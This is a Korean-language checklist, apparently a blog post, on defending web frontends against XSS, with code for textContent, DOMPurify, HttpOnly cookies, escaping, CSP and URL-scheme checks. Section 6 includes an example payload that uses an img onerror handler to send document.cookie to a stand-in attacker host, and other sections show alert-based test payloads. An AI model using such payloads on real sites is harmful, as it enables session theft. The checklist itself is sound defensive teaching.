XSS 방어 체크리스트 — 프론트엔드 개발자가 반드시 확인할 6가지

크로스 사이트 스크립팅(XSS) 방어는 “개념은 아는데 막상 내 코드에서 어디를 확인해야 하는지”가 항상 모호하다. 이 체크리스트는 놓치기 쉬운 6가지 지점을 코드와 함께 정리한 것이다. 지금 쓰는 코드에 바로 대입해보자.

innerHTML에 사용자 입력 삽입 시 XSS 발생과 textContent 안전 출력 비교

1. innerHTML XSS — 가장 흔한 진입점을 막는다

XSS의 가장 흔한 진입점은 innerHTML이다. 사용자 입력을 innerHTML에 넣으면 그 안에 포함된 스크립트나 이벤트 핸들러가 실행된다.

// 잘못된 예 — 사용자 입력이 HTML로 파싱됨
const userInput = '<img src=x onerror=alert("XSS")>';
document.getElementById('output').innerHTML = userInput; // onerror 실행됨

// 올바른 예 — 문자열로만 출력
document.getElementById('output').textContent = userInput; // 태그째로 그냥 보임

textContent는 HTML 파싱 없이 문자열을 그대로 삽입한다. 사용자 입력을 단순 텍스트로 보여주는 상황이라면 innerHTML을 쓸 이유가 없다. innerText도 비슷하게 동작하지만 레이아웃 리플로우를 유발하므로 textContent가 낫다.


2. dangerouslySetInnerHTML은 DOMPurify와 함께만 쓴다

React는 JSX의 {} 바인딩에서 HTML을 자동으로 이스케이프한다. 일반 사용에서는 XSS가 발생하지 않는다. 문제는 dangerouslySetInnerHTML을 쓸 때다. 이름 그대로 위험하고, React가 아무것도 정제하지 않는다.

// 잘못된 예 — 정제 없이 그대로 렌더링
<div dangerouslySetInnerHTML={{ __html: userContent }} />

// 올바른 예 — DOMPurify로 정제 후 삽입
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userContent) }} />

DOMPurify 사용법은 단순하다. DOMPurify.sanitize(html) 한 줄이면 스크립트, 이벤트 핸들러, 위험한 속성을 제거하고 안전한 태그만 남긴다. 리치 텍스트 에디터처럼 HTML 출력이 꼭 필요한 경우에 쓴다.

팀에서 쓴다면 컴포넌트로 캡슐화해두는 것이 좋다.

// SafeHTML.jsx — 한 곳에서만 dangerouslySetInnerHTML을 허용
function SafeHTML({ content }) {
  return (
    <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(content) }} />
  );
}

이렇게 해두면 코드 리뷰할 때 dangerouslySetInnerHTML이 이 컴포넌트 밖에서 나타나면 즉시 의심할 수 있다.


3. XSS 방어의 마지막 라인 — 쿠키에 HttpOnly + Secure를 설정한다

XSS 방어에서 쿠키 설정이 빠지는 경우가 많다. XSS 공격이 성공하면 공격자는 스크립트로 document.cookie를 읽어 세션 토큰을 탈취한다. HttpOnly 옵션을 설정하면 JavaScript에서 쿠키 접근 자체가 막힌다.

// 잘못된 예 — JS에서 document.cookie로 읽기 가능
res.cookie('session', token);

// 올바른 예 — JS 접근 차단 + HTTPS 전용 설정
res.cookie('session', token, {
  httpOnly: true,      // document.cookie로 읽기 불가
  secure: true,        // HTTPS 연결에서만 전송
  sameSite: 'strict',  // CSRF 방어 추가
});

HttpOnly만 설정해도 XSS로 인한 쿠키 탈취는 대부분 막힌다. 쿠키, 세션, 토큰의 차이와 각각의 보안 설정도 함께 확인하자.


4. 사용자 입력을 HTML로 출력하기 전에 이스케이프한다

서버에서 사용자 입력을 DB에 저장하고 HTML 페이지에 출력할 때 이스케이프가 빠지면 Stored XSS가 발생한다. <script>alert(1)</script> 같은 값이 DB에 저장되고, 다른 사람의 브라우저에서 실행되는 구조다.

// HTML 이스케이프 함수
function escapeHTML(str) {
  return String(str)
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

// 잘못된 예 — 이스케이프 없이 출력
commentEl.innerHTML = userComment;

// 올바른 예
commentEl.innerHTML = escapeHTML(userComment);
// 또는 textContent 사용 (더 단순)
commentEl.textContent = userComment;

Express에서 EJS를 쓴다면 <%= %> 태그가 자동으로 이스케이프한다. <%- %>는 이스케이프 없이 그대로 출력하므로 사용자 입력에는 절대 쓰지 않는다.


5. CSP 헤더로 XSS 방어 라인을 한 겹 더 친다

CSP(Content Security Policy)는 브라우저에 “어떤 스크립트를 실행할 수 있는지”를 알려주는 HTTP 헤더다. XSS 취약점이 존재하더라도 인라인 스크립트나 외부 출처 스크립트 실행을 차단해 피해를 줄인다.

// Express + helmet으로 CSP 설정
const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],        // 동일 출처 스크립트만 허용
    styleSrc: ["'self'", "'unsafe-inline'"],
    imgSrc: ["'self'", 'data:'],
    connectSrc: ["'self'"],
  }
}));

CSP 설정을 처음 적용할 때는 Content-Security-Policy-Report-Only 헤더로 먼저 테스트하자. 차단하지 않고 위반 사항만 수집해서, 정상 동작이 깨지지 않는지 확인한 뒤 실제 적용으로 넘어간다.

각 항목의 상세 설정은 OWASP XSS Prevention Cheat Sheet를 참고하자.


6. 이벤트 핸들러 속성 주입을 막는다

innerHTML을 쓰지 않더라도, 사용자 입력이 HTML 속성값으로 들어가는 경우가 있다. onerror, onclick, onload 같은 이벤트 핸들러 속성이 삽입되면 스크립트가 실행된다.

// 공격 예시 — onerror 속성 주입
const maliciousInput = '<img src=x onerror=fetch("https://attacker.com?c="+document.cookie)>';
container.innerHTML = maliciousInput; // 이미지 로드 실패하면 fetch 실행

// 방어 — DOM API로 요소와 속성을 직접 생성
const img = document.createElement('img');
img.src = userProvidedSrc; // src 속성만 설정, 이벤트 핸들러 주입 불가
container.appendChild(img);

URL 값도 주의해야 한다. javascript: 스킴을 가진 URL은 클릭 시 스크립트가 실행된다.

// 잘못된 예 — javascript: 스킴이 들어올 수 있음
anchor.href = userProvidedUrl;

// 올바른 예 — http/https만 허용
function isSafeUrl(url) {
  try {
    const parsed = new URL(url, location.origin);
    return ['http:', 'https:'].includes(parsed.protocol);
  } catch {
    return false;
  }
}

if (isSafeUrl(userProvidedUrl)) {
  anchor.href = userProvidedUrl;
}

XSS 방어 체크리스트 요약

항목방어 방법환경
HTML 직접 삽입textContent 사용프론트엔드
React 동적 HTMLDOMPurify.sanitize() 필수React
쿠키 탈취 방어HttpOnly + Secure + SameSite백엔드
서버 출력HTML entity 이스케이프백엔드/SSR
스크립트 실행 제한CSP 헤더 (helmet)서버
속성 주입DOM API 직접 생성, URL 스킴 검증프론트엔드

Q. React를 쓰면 XSS를 신경 안 써도 되나요?

React의 JSX 자동 이스케이프는 기본 방어선이다. dangerouslySetInnerHTML 없이 JSX 바인딩만 쓴다면 XSS가 발생하지 않는다. 다만 dangerouslySetInnerHTML을 쓰거나, useRef로 DOM을 직접 조작하거나, 외부 라이브러리가 내부적으로 innerHTML을 쓰는 경우에는 여전히 주의가 필요하다.

Q. XSS와 CSRF는 어떻게 다른가요?

XSS는 공격자의 스크립트를 피해자 브라우저에서 실행시키는 공격이다. CSRF는 피해자가 의도하지 않은 요청을 서버로 보내게 만드는 공격이다. XSS가 성공하면 CSRF 방어(토큰 기반)도 우회할 수 있어서 XSS 방어가 더 우선순위가 높다.


한줄 정리: XSS 방어의 핵심은 사용자 입력을 절대 HTML로 해석하지 않는 것이다. textContent, DOMPurify, HttpOnly 쿠키, CSP — 이 네 가지만 챙겨도 대부분의 공격을 막는다.


댓글 남기기